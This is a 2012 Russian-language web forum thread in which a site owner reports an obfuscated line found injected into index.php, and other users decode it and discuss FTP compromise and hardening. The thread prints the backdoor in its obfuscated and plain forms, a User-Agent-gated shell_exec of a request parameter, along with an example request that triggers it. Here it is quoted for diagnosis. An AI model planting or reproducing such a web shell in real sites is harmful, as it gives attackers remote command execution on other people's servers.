0
- 06.06.2012 - 00:00
|
Обнаружил в index.php строку: if($_SERVER['HTTP_USER_AGENT']=='D')**$fqvex=implode('e',array('bas','64_d','cod ',''));$xwkfrjir=$fqvex(str_replace('$&*(','l','c2 h$&*(bGxfZXh$&*(Yw=='));echo $xwkfrjir($_REQUEST['cM']);exit;** Что она делает, не знаю, но я такого не писал. Обнаружил только потому, что в файле было испорчено еще и название одной из функций и пользователь сообщил мне о неисправности. Разбираемся пока с хостингом, как это туда попало, не знаю, будет ли толк. | | |
1
- 06.06.2012 - 01:02
| не вижу поводов для волнений, кроме того что неясен путь попадения строки.. тема скорее к размышлениям вашего хостера, чем... да уж, ночка задалась :) | | |
2
- 06.06.2012 - 07:11
|
какой адрес ресурса? ради интереса посмотреть как оно там все работает. хостера винить самое простое. | | |
3
- 06.06.2012 - 11:31
|
выводит base64-декодированную переменную $cM, которая или в гет, или в пост или в каких-то еще кукисах. Зачем - неизвестно. | | |
4
- 06.06.2012 - 20:41
|
Хостер: "Как мы писали выше, можем предоставить Вам FTP-логи за указанный Вами период. Поиском уязвимостей в программном коде клиентов мы не занимаемся." А что мне в этих логах искать я хз. | | |
5
- 06.06.2012 - 20:48
| След ковааарнога призрака исказившего код :) | | |
6
- 06.06.2012 - 21:18
|
Объясните мне, 1) хостер не может защитить php-файлы от изменений любым другим способом, кроме как ftp-клиентом? почему? 2) если я меняю фтп-пароль каждый раз после захода фтп-клиентом как их можно украсть? | | |
7
- 06.06.2012 - 21:46
| ищи "cM=" (без кавычек) Но в логах токо post и get, а кукисов нема. Да и вообще может такого запроса не было ниразу. Цитата:
фтп есть не токо у вас. Еще есть и админ и еще куча пользователей, у которых есть доступ к вашей папочке. =)) | | |
8
- 07.06.2012 - 07:07
|
Что бы не воровали пароли на FTP, нужно полечить свой компьютер от троянов, ворующие пароли из стандартных FTP клиентов. Для защиты от изменений файлов, можно поставить атрибуты "только чтение", как временное решение. | | |
9
- 07.06.2012 - 08:15
| Да мы с хостером вчера тоже пока додумались везде только r оставить, вроде держимся пока. А пароли фтп я меняю каждый раз сразу после любого использования фтп-клиента. | | |
10
- 07.06.2012 - 08:18
| 7-Украинские субтитры > старттопег - это что? | | |
11
- 07.06.2012 - 08:32
|
Для начала лучше проверить появление новых файлов, их легко найти по времени, а так же изучить журналы как FTP, так и веб сервера, возможно у вас просто дырявый сайт. Приведите адрес ресурса, для изучения. | | |
12
- 07.06.2012 - 08:43
|
Хотя если добираются до записи, то и атрибуты могут поменять? Опасаюсь я адрес выкладывать. | | |
13
- 07.06.2012 - 08:55
|
Формально могут поменять атрибуты, поэтому это и есть временное решение, но в большинстве случаев после получения пароля FTP, робот скачивает все файлы по маске, потом модифицирует и заливает обратно, игнорируя ошибки записи. Чего бояться? у вас и так сломали сайт. Система управления сайтом на чем сделана? | | |
14
- 07.06.2012 - 09:44
| строка выполняет shell_exec, декодировав из base64 полученный параметр | | |
15
- 07.06.2012 - 11:21
|
14-Суслик >Ну, понятно, что ничего полезного для меня она не делает. Как она только попала ко мне. Пока сделал файлик со списком своих файлов $dir = '.'; $files = scandir($dir); foreach ($files as $file) ** echo md5($file." ".filesize($file))."<br>\n"; ** и караулю его программкой WebMon | | |
16
- 07.06.2012 - 11:21
| CMS никакая не используется | | |
17
- 07.06.2012 - 11:26
| думаю, что бессмыслено давать советы, пока мы не увидим сам ресурс, скорей всего у вас просто дырявый сайт, пока не исправите это, проблема остнется. | | |
18
- 08.06.2012 - 15:47
| от хостеров, у которых ломают ftp, надо бечь свит за очи. =)) | | |
19
- 20.06.2012 - 10:24
|
Скрипт делает следующее: if($_SERVER['HTTP_USER_AGENT']=='D') ** echo shell_exec($_REQUEST['cM']); exit; ** Таким образом, если php.ini разрешает выполнять системные команды - их можно выполнить, послав запрос типа http://ваш_сайт.ру/?cM=ls+-alh. Правда, нужно еще подменить user agent. | | |
20
- 20.06.2012 - 14:08
|
ну уж подменить юзерагент не проблема. это где там этот shell в коде? | | |
21
- 20.06.2012 - 17:44
|
20-Украинские субтитры > Shell в запросе. параметром передаем команду и делаем все что угодно, если сервер позволит. http://ваш_сайт.ру/?cM=ls+-alh - выведет список файлов в директории | | |
22
- 20.06.2012 - 18:21
| ваще-то там $xwkfrjir='shell_exec'; //если c2 h$&*(bGxfZXh$&*(Yw== это таки shell_exec и оно делает echo $xwkfrjir(); //разве такое выполница? | | |
23
- 20.06.2012 - 18:43
|
22-Украинские субтитры > смотрим исходник до конца : echo $xwkfrjir($_REQUEST['cM']);exit;** в итоге имеем echo shell_exec($_REQUEST['cM']); | | |
24
- 21.06.2012 - 17:20
| Это понятно. Просто разве ж название функции в переменной (типа $var();) выполняется как функция? | | |
25
- 21.06.2012 - 18:05
| 24-Украинские субтитры > обычно в таких случаях говорят: учи матчасть :) | | |
26
- 21.06.2012 - 21:03
| 24-Украинские субтитры >Да, выполняется. | | |
27
- 22.06.2012 - 16:45
| охренеть, не знал. А это где-то отключается? | | |
28
- 22.06.2012 - 16:46
| не вопрос. В каком месте мануаля эта матчасть и как она называется, не подскажете? =) | | |
29
- 22.06.2012 - 21:41
| http://www.php.ru/manual/functions.v...functions.html | | |
30
- 22.06.2012 - 21:57
| можно скачать мануал http://ru2.php.net/get/php_manual_ru.chm/from/a/mirror | | |
31
- 22.06.2012 - 22:54
|
С понятием кагбы понятно. Главного нету: где это вкл/выкл =)) | | |
32
- 23.06.2012 - 16:36
| 31-Украинские субтитры > а зачем это вкл/выкл? :) | | |
33
- 23.06.2012 - 18:09
| Это динамическая функция, и по моему она ни как не отключается, особенность ядра. | | |
34
- 23.06.2012 - 18:15
| Да и бывает очень полезной, при автозагрузке классов из определенной директории например. | | |
35
- 23.06.2012 - 20:27
| Странно что такое нельзя выключить | | |
36
- 25.06.2012 - 11:18
|
Да как бы особо ничего критичного в этой функции нет. В приведенном примере можно было бы и сразу написать echo shell_exec($_REQUEST['cM']); все остальное ни как не влияет на выполнение скрипта, и сделано только для маскировки его от программистов, что бы не сразу нашли все куски кода простым поиском. Если следовать Логике отключения функций, то нужно отключаь и implode и base64_decode и str_replace. Так что ничего странного. А что бы защититься от данной проблемы, достаточно настроить сервер на запрет выполнения команд Shell'a. В безопасном режиме они недоступны. Это минимум что можно сделать. | | |
37
- 25.06.2012 - 18:54
|
но в плане уязвимости это очевидная брешь. Ведь достаточно всего одной строчки и с сайтом можно делать все что угодно | | |
38
- 25.06.2012 - 22:06
|
37-Украинские субтитры > а вы знаете что еще есть функция eval() и что она делает? :) ее тоже нужно запретить использовать? :) Чтобы можно было изменить код php, нужно получить доступ к сайту, к ftp например. А будет доступ к сайту - сделают все что захотят и без php. Главное чтобы хакеры не получили доступ к сайту. | | |
39
- 26.06.2012 - 11:57
| Цитата:
Помню, ее кто-то пытался пихнуть в виде php-файла на один из моих форумов, типа как атачмент. =) не обязательно. С огромным количеством разных джумл, достаточно одной-двух строчек где-то в коде, типа той что вверху. Юзерь сам ее закачает, а уж тот кто знает, без всякого фтп и прочего будет делать с сайтом чо хочет. | |
![]() | Интернет-форум Краснодарского края и Краснодара |